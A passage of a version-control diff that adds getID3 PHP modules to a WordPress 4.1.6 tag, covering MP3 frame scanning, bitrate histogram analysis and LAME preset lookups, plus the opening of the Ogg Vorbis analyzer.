+					if (isset($info['audio']['bitrate'])) {
+						unset($info['audio']['bitrate']);
+					}
+					if (isset($info['mpeg']['audio'])) {
+						unset($info['mpeg']['audio']);
+					}
+					if (empty($info['mpeg'])) {
+						unset($info['mpeg']);
+					}
+					return false;
+
+				} elseif (feof($this->getid3->fp)) {
+
+					$info['error'][] = 'Could not find valid MPEG audio synch before end of file';
+					if (isset($info['audio']['bitrate'])) {
+						unset($info['audio']['bitrate']);
+					}
+					if (isset($info['mpeg']['audio'])) {
+						unset($info['mpeg']['audio']);
+					}
+					if (isset($info['mpeg']) && (!is_array($info['mpeg']) || (count($info['mpeg']) == 0))) {
+						unset($info['mpeg']);
+					}
+					return false;
+				}
+			}
+
+			if (($SynchSeekOffset + 1) >= strlen($header)) {
+				$info['error'][] = 'Could not find valid MPEG synch before end of file';
+				return false;
+			}
+
+			if (($header{$SynchSeekOffset} == "\xFF") && ($header{($SynchSeekOffset + 1)} > "\xE0")) { // synch detected
+				if (!isset($FirstFrameThisfileInfo) && !isset($info['mpeg']['audio'])) {
+					$FirstFrameThisfileInfo = $info;
+					$FirstFrameAVDataOffset = $avdataoffset + $SynchSeekOffset;
+					if (!$this->decodeMPEGaudioHeader($FirstFrameAVDataOffset, $FirstFrameThisfileInfo, false)) {
+						// if this is the first valid MPEG-audio frame, save it in case it's a VBR header frame and there's
+						// garbage between this frame and a valid sequence of MPEG-audio frames, to be restored below
+						unset($FirstFrameThisfileInfo);
+					}
+				}
+
+				$dummy = $info; // only overwrite real data if valid header found
+				if ($this->decodeMPEGaudioHeader($avdataoffset + $SynchSeekOffset, $dummy, true)) {
+					$info = $dummy;
+					$info['avdataoffset'] = $avdataoffset + $SynchSeekOffset;
+					switch (isset($info['fileformat']) ? $info['fileformat'] : '') {
+						case '':
+						case 'id3':
+						case 'ape':
+						case 'mp3':
+							$info['fileformat']          = 'mp3';
+							$info['audio']['dataformat'] = 'mp3';
+							break;
+					}
+					if (isset($FirstFrameThisfileInfo['mpeg']['audio']['bitrate_mode']) && ($FirstFrameThisfileInfo['mpeg']['audio']['bitrate_mode'] == 'vbr')) {
+						if (!(abs($info['audio']['bitrate'] - $FirstFrameThisfileInfo['audio']['bitrate']) <= 1)) {
+							// If there is garbage data between a valid VBR header frame and a sequence
+							// of valid MPEG-audio frames the VBR data is no longer discarded.
+							$info = $FirstFrameThisfileInfo;
+							$info['avdataoffset']        = $FirstFrameAVDataOffset;
+							$info['fileformat']          = 'mp3';
+							$info['audio']['dataformat'] = 'mp3';
+							$dummy                       = $info;
+							unset($dummy['mpeg']['audio']);
+							$GarbageOffsetStart = $FirstFrameAVDataOffset + $FirstFrameThisfileInfo['mpeg']['audio']['framelength'];
+							$GarbageOffsetEnd   = $avdataoffset + $SynchSeekOffset;
+							if ($this->decodeMPEGaudioHeader($GarbageOffsetEnd, $dummy, true, true)) {
+								$info = $dummy;
+								$info['avdataoffset'] = $GarbageOffsetEnd;
+								$info['warning'][] = 'apparently-valid VBR header not used because could not find '.GETID3_MP3_VALID_CHECK_FRAMES.' consecutive MPEG-audio frames immediately after VBR header (garbage data for '.($GarbageOffsetEnd - $GarbageOffsetStart).' bytes between '.$GarbageOffsetStart.' and '.$GarbageOffsetEnd.'), but did find valid CBR stream starting at '.$GarbageOffsetEnd;
+							} else {
+								$info['warning'][] = 'using data from VBR header even though could not find '.GETID3_MP3_VALID_CHECK_FRAMES.' consecutive MPEG-audio frames immediately after VBR header (garbage data for '.($GarbageOffsetEnd - $GarbageOffsetStart).' bytes between '.$GarbageOffsetStart.' and '.$GarbageOffsetEnd.')';
+							}
+						}
+					}
+					if (isset($info['mpeg']['audio']['bitrate_mode']) && ($info['mpeg']['audio']['bitrate_mode'] == 'vbr') && !isset($info['mpeg']['audio']['VBR_method'])) {
+						// VBR file with no VBR header
+						$BitrateHistogram = true;
+					}
+
+					if ($BitrateHistogram) {
+
+						$info['mpeg']['audio']['stereo_distribution']  = array('stereo'=>0, 'joint stereo'=>0, 'dual channel'=>0, 'mono'=>0);
+						$info['mpeg']['audio']['version_distribution'] = array('1'=>0, '2'=>0, '2.5'=>0);
+
+						if ($info['mpeg']['audio']['version'] == '1') {
+							if ($info['mpeg']['audio']['layer'] == 3) {
+								$info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 40000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 160000=>0, 192000=>0, 224000=>0, 256000=>0, 320000=>0);
+							} elseif ($info['mpeg']['audio']['layer'] == 2) {
+								$info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 160000=>0, 192000=>0, 224000=>0, 256000=>0, 320000=>0, 384000=>0);
+							} elseif ($info['mpeg']['audio']['layer'] == 1) {
+								$info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 64000=>0, 96000=>0, 128000=>0, 160000=>0, 192000=>0, 224000=>0, 256000=>0, 288000=>0, 320000=>0, 352000=>0, 384000=>0, 416000=>0, 448000=>0);
+							}
+						} elseif ($info['mpeg']['audio']['layer'] == 1) {
+							$info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 144000=>0, 160000=>0, 176000=>0, 192000=>0, 224000=>0, 256000=>0);
+						} else {
+							$info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 8000=>0, 16000=>0, 24000=>0, 32000=>0, 40000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 144000=>0, 160000=>0);
+						}
+
+						$dummy = array('error'=>$info['error'], 'warning'=>$info['warning'], 'avdataend'=>$info['avdataend'], 'avdataoffset'=>$info['avdataoffset']);
+						$synchstartoffset = $info['avdataoffset'];
+						$this->fseek($info['avdataoffset']);
+
+						// you can play with these numbers:
+						$max_frames_scan  = 50000;
+						$max_scan_segments = 10;
+
+						// don't play with these numbers:
+						$FastMode = false;
+						$SynchErrorsFound = 0;
+						$frames_scanned   = 0;
+						$this_scan_segment = 0;
+						$frames_scan_per_segment = ceil($max_frames_scan / $max_scan_segments);
+						$pct_data_scanned = 0;
+						for ($current_segment = 0; $current_segment < $max_scan_segments; $current_segment++) {
+							$frames_scanned_this_segment = 0;
+							if ($this->ftell() >= $info['avdataend']) {
+								break;
+							}
+							$scan_start_offset[$current_segment] = max($this->ftell(), $info['avdataoffset'] + round($current_segment * (($info['avdataend'] - $info['avdataoffset']) / $max_scan_segments)));
+							if ($current_segment > 0) {
+								$this->fseek($scan_start_offset[$current_segment]);
+								$buffer_4k = $this->fread(4096);
+								for ($j = 0; $j < (strlen($buffer_4k) - 4); $j++) {
+									if (($buffer_4k{$j} == "\xFF") && ($buffer_4k{($j + 1)} > "\xE0")) { // synch detected
+										if ($this->decodeMPEGaudioHeader($scan_start_offset[$current_segment] + $j, $dummy, false, false, $FastMode)) {
+											$calculated_next_offset = $scan_start_offset[$current_segment] + $j + $dummy['mpeg']['audio']['framelength'];
+											if ($this->decodeMPEGaudioHeader($calculated_next_offset, $dummy, false, false, $FastMode)) {
+												$scan_start_offset[$current_segment] += $j;
+												break;
+											}
+										}
+									}
+								}
+							}
+							$synchstartoffset = $scan_start_offset[$current_segment];
+							while ($this->decodeMPEGaudioHeader($synchstartoffset, $dummy, false, false, $FastMode)) {
+								$FastMode = true;
+								$thisframebitrate = $MPEGaudioBitrateLookup[$MPEGaudioVersionLookup[$dummy['mpeg']['audio']['raw']['version']]][$MPEGaudioLayerLookup[$dummy['mpeg']['audio']['raw']['layer']]][$dummy['mpeg']['audio']['raw']['bitrate']];
+
+								if (empty($dummy['mpeg']['audio']['framelength'])) {
+									$SynchErrorsFound++;
+									$synchstartoffset++;
+								} else {
+									getid3_lib::safe_inc($info['mpeg']['audio']['bitrate_distribution'][$thisframebitrate]);
+									getid3_lib::safe_inc($info['mpeg']['audio']['stereo_distribution'][$dummy['mpeg']['audio']['channelmode']]);
+									getid3_lib::safe_inc($info['mpeg']['audio']['version_distribution'][$dummy['mpeg']['audio']['version']]);
+									$synchstartoffset += $dummy['mpeg']['audio']['framelength'];
+								}
+								$frames_scanned++;
+								if ($frames_scan_per_segment && (++$frames_scanned_this_segment >= $frames_scan_per_segment)) {
+									$this_pct_scanned = ($this->ftell() - $scan_start_offset[$current_segment]) / ($info['avdataend'] - $info['avdataoffset']);
+									if (($current_segment == 0) && (($this_pct_scanned * $max_scan_segments) >= 1)) {
+										// file likely contains < $max_frames_scan, just scan as one segment
+										$max_scan_segments = 1;
+										$frames_scan_per_segment = $max_frames_scan;
+									} else {
+										$pct_data_scanned += $this_pct_scanned;
+										break;
+									}
+								}
+							}
+						}
+						if ($pct_data_scanned > 0) {
+							$info['warning'][] = 'too many MPEG audio frames to scan, only scanned '.$frames_scanned.' frames in '.$max_scan_segments.' segments ('.number_format($pct_data_scanned * 100, 1).'% of file) and extrapolated distribution, playtime and bitrate may be incorrect.';
+							foreach ($info['mpeg']['audio'] as $key1 => $value1) {
+								if (!preg_match('#_distribution$#i', $key1)) {
+									continue;
+								}
+								foreach ($value1 as $key2 => $value2) {
+									$info['mpeg']['audio'][$key1][$key2] = round($value2 / $pct_data_scanned);
+								}
+							}
+						}
+
+						if ($SynchErrorsFound > 0) {
+							$info['warning'][] = 'Found '.$SynchErrorsFound.' synch errors in histogram analysis';
+							//return false;
+						}
+
+						$bittotal     = 0;
+						$framecounter = 0;
+						foreach ($info['mpeg']['audio']['bitrate_distribution'] as $bitratevalue => $bitratecount) {
+							$framecounter += $bitratecount;
+							if ($bitratevalue != 'free') {
+								$bittotal += ($bitratevalue * $bitratecount);
+							}
+						}
+						if ($framecounter == 0) {
+							$info['error'][] = 'Corrupt MP3 file: framecounter == zero';
+							return false;
+						}
+						$info['mpeg']['audio']['frame_count'] = getid3_lib::CastAsInt($framecounter);
+						$info['mpeg']['audio']['bitrate']     = ($bittotal / $framecounter);
+
+						$info['audio']['bitrate'] = $info['mpeg']['audio']['bitrate'];
+
+
+						// Definitively set VBR vs CBR, even if the Xing/LAME/VBRI header says differently
+						$distinct_bitrates = 0;
+						foreach ($info['mpeg']['audio']['bitrate_distribution'] as $bitrate_value => $bitrate_count) {
+							if ($bitrate_count > 0) {
+								$distinct_bitrates++;
+							}
+						}
+						if ($distinct_bitrates > 1) {
+							$info['mpeg']['audio']['bitrate_mode'] = 'vbr';
+						} else {
+							$info['mpeg']['audio']['bitrate_mode'] = 'cbr';
+						}
+						$info['audio']['bitrate_mode'] = $info['mpeg']['audio']['bitrate_mode'];
+
+					}
+
+					break; // exit while()
+				}
+			}
+
+			$SynchSeekOffset++;
+			if (($avdataoffset + $SynchSeekOffset) >= $info['avdataend']) {
+				// end of file/data
+
+				if (empty($info['mpeg']['audio'])) {
+
+					$info['error'][] = 'could not find valid MPEG synch before end of file';
+					if (isset($info['audio']['bitrate'])) {
+						unset($info['audio']['bitrate']);
+					}
+					if (isset($info['mpeg']['audio'])) {
+						unset($info['mpeg']['audio']);
+					}
+					if (isset($info['mpeg']) && (!is_array($info['mpeg']) || empty($info['mpeg']))) {
+						unset($info['mpeg']);
+					}
+					return false;
+
+				}
+				break;
+			}
+
+		}
+		$info['audio']['channels']        = $info['mpeg']['audio']['channels'];
+		$info['audio']['channelmode']     = $info['mpeg']['audio']['channelmode'];
+		$info['audio']['sample_rate']     = $info['mpeg']['audio']['sample_rate'];
+		return true;
+	}
+
+
+	public static function MPEGaudioVersionArray() {
+		static $MPEGaudioVersion = array('2.5', false, '2', '1');
+		return $MPEGaudioVersion;
+	}
+
+	public static function MPEGaudioLayerArray() {
+		static $MPEGaudioLayer = array(false, 3, 2, 1);
+		return $MPEGaudioLayer;
+	}
+
+	public static function MPEGaudioBitrateArray() {
+		static $MPEGaudioBitrate;
+		if (empty($MPEGaudioBitrate)) {
+			$MPEGaudioBitrate = array (
+				'1'  =>  array (1 => array('free', 32000, 64000, 96000, 128000, 160000, 192000, 224000, 256000, 288000, 320000, 352000, 384000, 416000, 448000),
+								2 => array('free', 32000, 48000, 56000,  64000,  80000,  96000, 112000, 128000, 160000, 192000, 224000, 256000, 320000, 384000),
+								3 => array('free', 32000, 40000, 48000,  56000,  64000,  80000,  96000, 112000, 128000, 160000, 192000, 224000, 256000, 320000)
+							   ),
+
+				'2'  =>  array (1 => array('free', 32000, 48000, 56000,  64000,  80000,  96000, 112000, 128000, 144000, 160000, 176000, 192000, 224000, 256000),
+								2 => array('free',  8000, 16000, 24000,  32000,  40000,  48000,  56000,  64000,  80000,  96000, 112000, 128000, 144000, 160000),
+							   )
+			);
+			$MPEGaudioBitrate['2'][3] = $MPEGaudioBitrate['2'][2];
+			$MPEGaudioBitrate['2.5']  = $MPEGaudioBitrate['2'];
+		}
+		return $MPEGaudioBitrate;
+	}
+
+	public static function MPEGaudioFrequencyArray() {
+		static $MPEGaudioFrequency;
+		if (empty($MPEGaudioFrequency)) {
+			$MPEGaudioFrequency = array (
+				'1'   => array(44100, 48000, 32000),
+				'2'   => array(22050, 24000, 16000),
+				'2.5' => array(11025, 12000,  8000)
+			);
+		}
+		return $MPEGaudioFrequency;
+	}
+
+	public static function MPEGaudioChannelModeArray() {
+		static $MPEGaudioChannelMode = array('stereo', 'joint stereo', 'dual channel', 'mono');
+		return $MPEGaudioChannelMode;
+	}
+
+	public static function MPEGaudioModeExtensionArray() {
+		static $MPEGaudioModeExtension;
+		if (empty($MPEGaudioModeExtension)) {
+			$MPEGaudioModeExtension = array (
+				1 => array('4-31', '8-31', '12-31', '16-31'),
+				2 => array('4-31', '8-31', '12-31', '16-31'),
+				3 => array('', 'IS', 'MS', 'IS+MS')
+			);
+		}
+		return $MPEGaudioModeExtension;
+	}
+
+	public static function MPEGaudioEmphasisArray() {
+		static $MPEGaudioEmphasis = array('none', '50/15ms', false, 'CCIT J.17');
+		return $MPEGaudioEmphasis;
+	}
+
+	public static function MPEGaudioHeaderBytesValid($head4, $allowBitrate15=false) {
+		return self::MPEGaudioHeaderValid(self::MPEGaudioHeaderDecode($head4), false, $allowBitrate15);
+	}
+
+	public static function MPEGaudioHeaderValid($rawarray, $echoerrors=false, $allowBitrate15=false) {
+		if (($rawarray['synch'] & 0x0FFE) != 0x0FFE) {
+			return false;
+		}
+
+		static $MPEGaudioVersionLookup;
+		static $MPEGaudioLayerLookup;
+		static $MPEGaudioBitrateLookup;
+		static $MPEGaudioFrequencyLookup;
+		static $MPEGaudioChannelModeLookup;
+		static $MPEGaudioModeExtensionLookup;
+		static $MPEGaudioEmphasisLookup;
+		if (empty($MPEGaudioVersionLookup)) {
+			$MPEGaudioVersionLookup       = self::MPEGaudioVersionArray();
+			$MPEGaudioLayerLookup         = self::MPEGaudioLayerArray();
+			$MPEGaudioBitrateLookup       = self::MPEGaudioBitrateArray();
+			$MPEGaudioFrequencyLookup     = self::MPEGaudioFrequencyArray();
+			$MPEGaudioChannelModeLookup   = self::MPEGaudioChannelModeArray();
+			$MPEGaudioModeExtensionLookup = self::MPEGaudioModeExtensionArray();
+			$MPEGaudioEmphasisLookup      = self::MPEGaudioEmphasisArray();
+		}
+
+		if (isset($MPEGaudioVersionLookup[$rawarray['version']])) {
+			$decodedVersion = $MPEGaudioVersionLookup[$rawarray['version']];
+		} else {
+			echo ($echoerrors ? "\n".'invalid Version ('.$rawarray['version'].')' : '');
+			return false;
+		}
+		if (isset($MPEGaudioLayerLookup[$rawarray['layer']])) {
+			$decodedLayer = $MPEGaudioLayerLookup[$rawarray['layer']];
+		} else {
+			echo ($echoerrors ? "\n".'invalid Layer ('.$rawarray['layer'].')' : '');
+			return false;
+		}
+		if (!isset($MPEGaudioBitrateLookup[$decodedVersion][$decodedLayer][$rawarray['bitrate']])) {
+			echo ($echoerrors ? "\n".'invalid Bitrate ('.$rawarray['bitrate'].')' : '');
+			if ($rawarray['bitrate'] == 15) {
+				// known issue in LAME 3.90 - 3.93.1 where free-format has bitrate ID of 15 instead of 0
+				// let it go through here otherwise file will not be identified
+				if (!$allowBitrate15) {
+					return false;
+				}
+			} else {
+				return false;
+			}
+		}
+		if (!isset($MPEGaudioFrequencyLookup[$decodedVersion][$rawarray['sample_rate']])) {
+			echo ($echoerrors ? "\n".'invalid Frequency ('.$rawarray['sample_rate'].')' : '');
+			return false;
+		}
+		if (!isset($MPEGaudioChannelModeLookup[$rawarray['channelmode']])) {
+			echo ($echoerrors ? "\n".'invalid ChannelMode ('.$rawarray['channelmode'].')' : '');
+			return false;
+		}
+		if (!isset($MPEGaudioModeExtensionLookup[$decodedLayer][$rawarray['modeextension']])) {
+			echo ($echoerrors ? "\n".'invalid Mode Extension ('.$rawarray['modeextension'].')' : '');
+			return false;
+		}
+		if (!isset($MPEGaudioEmphasisLookup[$rawarray['emphasis']])) {
+			echo ($echoerrors ? "\n".'invalid Emphasis ('.$rawarray['emphasis'].')' : '');
+			return false;
+		}
+		// These are just either set or not set, you can't mess that up :)
+		// $rawarray['protection'];
+		// $rawarray['padding'];
+		// $rawarray['private'];
+		// $rawarray['copyright'];
+		// $rawarray['original'];
+
+		return true;
+	}
+
+	public static function MPEGaudioHeaderDecode($Header4Bytes) {
+		// AAAA AAAA  AAAB BCCD  EEEE FFGH  IIJJ KLMM
+		// A - Frame sync (all bits set)
+		// B - MPEG Audio version ID
+		// C - Layer description
+		// D - Protection bit
+		// E - Bitrate index
+		// F - Sampling rate frequency index
+		// G - Padding bit
+		// H - Private bit
+		// I - Channel Mode
+		// J - Mode extension (Only if Joint stereo)
+		// K - Copyright
+		// L - Original
+		// M - Emphasis
+
+		if (strlen($Header4Bytes) != 4) {
+			return false;
+		}
+
+		$MPEGrawHeader['synch']         = (getid3_lib::BigEndian2Int(substr($Header4Bytes, 0, 2)) & 0xFFE0) >> 4;
+		$MPEGrawHeader['version']       = (ord($Header4Bytes{1}) & 0x18) >> 3; //    BB
+		$MPEGrawHeader['layer']         = (ord($Header4Bytes{1}) & 0x06) >> 1; //      CC
+		$MPEGrawHeader['protection']    = (ord($Header4Bytes{1}) & 0x01);      //        D
+		$MPEGrawHeader['bitrate']       = (ord($Header4Bytes{2}) & 0xF0) >> 4; // EEEE
+		$MPEGrawHeader['sample_rate']   = (ord($Header4Bytes{2}) & 0x0C) >> 2; //     FF
+		$MPEGrawHeader['padding']       = (ord($Header4Bytes{2}) & 0x02) >> 1; //       G
+		$MPEGrawHeader['private']       = (ord($Header4Bytes{2}) & 0x01);      //        H
+		$MPEGrawHeader['channelmode']   = (ord($Header4Bytes{3}) & 0xC0) >> 6; // II
+		$MPEGrawHeader['modeextension'] = (ord($Header4Bytes{3}) & 0x30) >> 4; //   JJ
+		$MPEGrawHeader['copyright']     = (ord($Header4Bytes{3}) & 0x08) >> 3; //     K
+		$MPEGrawHeader['original']      = (ord($Header4Bytes{3}) & 0x04) >> 2; //      L
+		$MPEGrawHeader['emphasis']      = (ord($Header4Bytes{3}) & 0x03);      //       MM
+
+		return $MPEGrawHeader;
+	}
+
+	public static function MPEGaudioFrameLength(&$bitrate, &$version, &$layer, $padding, &$samplerate) {
+		static $AudioFrameLengthCache = array();
+
+		if (!isset($AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate])) {
+			$AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate] = false;
+			if ($bitrate != 'free') {
+
+				if ($version == '1') {
+
+					if ($layer == '1') {
+
+						// For Layer I slot is 32 bits long
+						$FrameLengthCoefficient = 48;
+						$SlotLength = 4;
+
+					} else { // Layer 2 / 3
+
+						// for Layer 2 and Layer 3 slot is 8 bits long.
+						$FrameLengthCoefficient = 144;
+						$SlotLength = 1;
+
+					}
+
+				} else { // MPEG-2 / MPEG-2.5
+
+					if ($layer == '1') {
+
+						// For Layer I slot is 32 bits long
+						$FrameLengthCoefficient = 24;
+						$SlotLength = 4;
+
+					} elseif ($layer == '2') {
+
+						// for Layer 2 and Layer 3 slot is 8 bits long.
+						$FrameLengthCoefficient = 144;
+						$SlotLength = 1;
+
+					} else { // layer 3
+
+						// for Layer 2 and Layer 3 slot is 8 bits long.
+						$FrameLengthCoefficient = 72;
+						$SlotLength = 1;
+
+					}
+
+				}
+
+				// FrameLengthInBytes = ((Coefficient * BitRate) / SampleRate) + Padding
+				if ($samplerate > 0) {
+					$NewFramelength  = ($FrameLengthCoefficient * $bitrate) / $samplerate;
+					$NewFramelength  = floor($NewFramelength / $SlotLength) * $SlotLength; // round to next-lower multiple of SlotLength (1 byte for Layer 2/3, 4 bytes for Layer I)
+					if ($padding) {
+						$NewFramelength += $SlotLength;
+					}
+					$AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate] = (int) $NewFramelength;
+				}
+			}
+		}
+		return $AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate];
+	}
+
+	public static function ClosestStandardMP3Bitrate($bit_rate) {
+		static $standard_bit_rates = array (320000, 256000, 224000, 192000, 160000, 128000, 112000, 96000, 80000, 64000, 56000, 48000, 40000, 32000, 24000, 16000, 8000);
+		static $bit_rate_table = array (0=>'-');
+		$round_bit_rate = intval(round($bit_rate, -3));
+		if (!isset($bit_rate_table[$round_bit_rate])) {
+			if ($round_bit_rate > max($standard_bit_rates)) {
+				$bit_rate_table[$round_bit_rate] = round($bit_rate, 2 - strlen($bit_rate));
+			} else {
+				$bit_rate_table[$round_bit_rate] = max($standard_bit_rates);
+				foreach ($standard_bit_rates as $standard_bit_rate) {
+					if ($round_bit_rate >= $standard_bit_rate + (($bit_rate_table[$round_bit_rate] - $standard_bit_rate) / 2)) {
+						break;
+					}
+					$bit_rate_table[$round_bit_rate] = $standard_bit_rate;
+				}
+			}
+		}
+		return $bit_rate_table[$round_bit_rate];
+	}
+
+	public static function XingVBRidOffset($version, $channelmode) {
+		static $XingVBRidOffsetCache = array();
+		if (empty($XingVBRidOffset)) {
+			$XingVBRidOffset = array (
+				'1'   => array ('mono'          => 0x15, // 4 + 17 = 21
+								'stereo'        => 0x24, // 4 + 32 = 36
+								'joint stereo'  => 0x24,
+								'dual channel'  => 0x24
+							   ),
+
+				'2'   => array ('mono'          => 0x0D, // 4 +  9 = 13
+								'stereo'        => 0x15, // 4 + 17 = 21
+								'joint stereo'  => 0x15,
+								'dual channel'  => 0x15
+							   ),
+
+				'2.5' => array ('mono'          => 0x15,
+								'stereo'        => 0x15,
+								'joint stereo'  => 0x15,
+								'dual channel'  => 0x15
+							   )
+			);
+		}
+		return $XingVBRidOffset[$version][$channelmode];
+	}
+
+	public static function LAMEvbrMethodLookup($VBRmethodID) {
+		static $LAMEvbrMethodLookup = array(
+			0x00 => 'unknown',
+			0x01 => 'cbr',
+			0x02 => 'abr',
+			0x03 => 'vbr-old / vbr-rh',
+			0x04 => 'vbr-new / vbr-mtrh',
+			0x05 => 'vbr-mt',
+			0x06 => 'vbr (full vbr method 4)',
+			0x08 => 'cbr (constant bitrate 2 pass)',
+			0x09 => 'abr (2 pass)',
+			0x0F => 'reserved'
+		);
+		return (isset($LAMEvbrMethodLookup[$VBRmethodID]) ? $LAMEvbrMethodLookup[$VBRmethodID] : '');
+	}
+
+	public static function LAMEmiscStereoModeLookup($StereoModeID) {
+		static $LAMEmiscStereoModeLookup = array(
+			0 => 'mono',
+			1 => 'stereo',
+			2 => 'dual mono',
+			3 => 'joint stereo',
+			4 => 'forced stereo',
+			5 => 'auto',
+			6 => 'intensity stereo',
+			7 => 'other'
+		);
+		return (isset($LAMEmiscStereoModeLookup[$StereoModeID]) ? $LAMEmiscStereoModeLookup[$StereoModeID] : '');
+	}
+
+	public static function LAMEmiscSourceSampleFrequencyLookup($SourceSampleFrequencyID) {
+		static $LAMEmiscSourceSampleFrequencyLookup = array(
+			0 => '<= 32 kHz',
+			1 => '44.1 kHz',
+			2 => '48 kHz',
+			3 => '> 48kHz'
+		);
+		return (isset($LAMEmiscSourceSampleFrequencyLookup[$SourceSampleFrequencyID]) ? $LAMEmiscSourceSampleFrequencyLookup[$SourceSampleFrequencyID] : '');
+	}
+
+	public static function LAMEsurroundInfoLookup($SurroundInfoID) {
+		static $LAMEsurroundInfoLookup = array(
+			0 => 'no surround info',
+			1 => 'DPL encoding',
+			2 => 'DPL2 encoding',
+			3 => 'Ambisonic encoding'
+		);
+		return (isset($LAMEsurroundInfoLookup[$SurroundInfoID]) ? $LAMEsurroundInfoLookup[$SurroundInfoID] : 'reserved');
+	}
+
+	public static function LAMEpresetUsedLookup($LAMEtag) {
+
+		if ($LAMEtag['preset_used_id'] == 0) {
+			// no preset used (LAME >=3.93)
+			// no preset recorded (LAME <3.93)
+			return '';
+		}
+		$LAMEpresetUsedLookup = array();
+
+		/////  THIS PART CANNOT BE STATIC .
+		for ($i = 8; $i <= 320; $i++) {
+			switch ($LAMEtag['vbr_method']) {
+				case 'cbr':
+					$LAMEpresetUsedLookup[$i] = '--alt-preset '.$LAMEtag['vbr_method'].' '.$i;
+					break;
+				case 'abr':
+				default: // other VBR modes shouldn't be here(?)
+					$LAMEpresetUsedLookup[$i] = '--alt-preset '.$i;
+					break;
+			}
+		}
+
+		// named old-style presets (studio, phone, voice, etc) are handled in GuessEncoderOptions()
+
+		// named alt-presets
+		$LAMEpresetUsedLookup[1000] = '--r3mix';
+		$LAMEpresetUsedLookup[1001] = '--alt-preset standard';
+		$LAMEpresetUsedLookup[1002] = '--alt-preset extreme';
+		$LAMEpresetUsedLookup[1003] = '--alt-preset insane';
+		$LAMEpresetUsedLookup[1004] = '--alt-preset fast standard';
+		$LAMEpresetUsedLookup[1005] = '--alt-preset fast extreme';
+		$LAMEpresetUsedLookup[1006] = '--alt-preset medium';
+		$LAMEpresetUsedLookup[1007] = '--alt-preset fast medium';
+
+		// LAME 3.94 additions/changes
+		$LAMEpresetUsedLookup[1010] = '--preset portable';                                                           // 3.94a15 Oct 21 2003
+		$LAMEpresetUsedLookup[1015] = '--preset radio';                                                              // 3.94a15 Oct 21 2003
+
+		$LAMEpresetUsedLookup[320]  = '--preset insane';                                                             // 3.94a15 Nov 12 2003
+		$LAMEpresetUsedLookup[410]  = '-V9';
+		$LAMEpresetUsedLookup[420]  = '-V8';
+		$LAMEpresetUsedLookup[440]  = '-V6';
+		$LAMEpresetUsedLookup[430]  = '--preset radio';                                                              // 3.94a15 Nov 12 2003
+		$LAMEpresetUsedLookup[450]  = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'portable';  // 3.94a15 Nov 12 2003
+		$LAMEpresetUsedLookup[460]  = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'medium';    // 3.94a15 Nov 12 2003
+		$LAMEpresetUsedLookup[470]  = '--r3mix';                                                                     // 3.94b1  Dec 18 2003
+		$LAMEpresetUsedLookup[480]  = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'standard';  // 3.94a15 Nov 12 2003
+		$LAMEpresetUsedLookup[490]  = '-V1';
+		$LAMEpresetUsedLookup[500]  = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'extreme';   // 3.94a15 Nov 12 2003
+
+		return (isset($LAMEpresetUsedLookup[$LAMEtag['preset_used_id']]) ? $LAMEpresetUsedLookup[$LAMEtag['preset_used_id']] : 'new/unknown preset: '.$LAMEtag['preset_used_id'].' - report to info@getid3.org');
+	}
+
+}
Index: /tags/4.1.6/src/wp-includes/ID3/module.audio.ogg.php
===================================================================
--- /tags/4.1.6/src/wp-includes/ID3/module.audio.ogg.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/ID3/module.audio.ogg.php	(revision 33402)
@@ -0,0 +1,756 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+// See readme.txt for more details                             //
+/////////////////////////////////////////////////////////////////
+//                                                             //
+// module.audio.ogg.php                                        //
+// module for analyzing Ogg Vorbis, OggFLAC and Speex files    //
+// dependencies: module.audio.flac.php                         //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+
+getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.flac.php', __FILE__, true);
+
+class getid3_ogg extends getid3_handler
+{
+	// http://xiph.org/vorbis/doc/Vorbis_I_spec.html
+	public function Analyze() {
+		$info = &$this->getid3->info;
+
+		$info['fileformat'] = 'ogg';
+
+		// Warn about illegal tags - only vorbiscomments are allowed
+		if (isset($info['id3v2'])) {
+			$info['warning'][] = 'Illegal ID3v2 tag present.';
+		}
+		if (isset($info['id3v1'])) {
+			$info['warning'][] = 'Illegal ID3v1 tag present.';
+		}
+		if (isset($info['ape'])) {
+			$info['warning'][] = 'Illegal APE tag present.';
+		}
+
+
+		// Page 1 - Stream Header
+
+		$this->fseek($info['avdataoffset']);
+
+		$oggpageinfo = $this->ParseOggPageHeader();
+		$info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo;
+
+		if ($this->ftell() >= $this->getid3->fread_buffer_size()) {
+			$info['error'][] = 'Could not find start of Ogg page in the first '.$this->getid3->fread_buffer_size().' bytes (this might not be an Ogg-Vorbis file?)';
+			unset($info['fileformat']);
+			unset($info['ogg']);
+			return false;
+		}
+
+		$filedata = $this->fread($oggpageinfo['page_length']);
+		$filedataoffset = 0;
+
+		if (substr($filedata, 0, 4) == 'fLaC') {
+
+			$info['audio']['dataformat']   = 'flac';
+			$info['audio']['bitrate_mode'] = 'vbr';
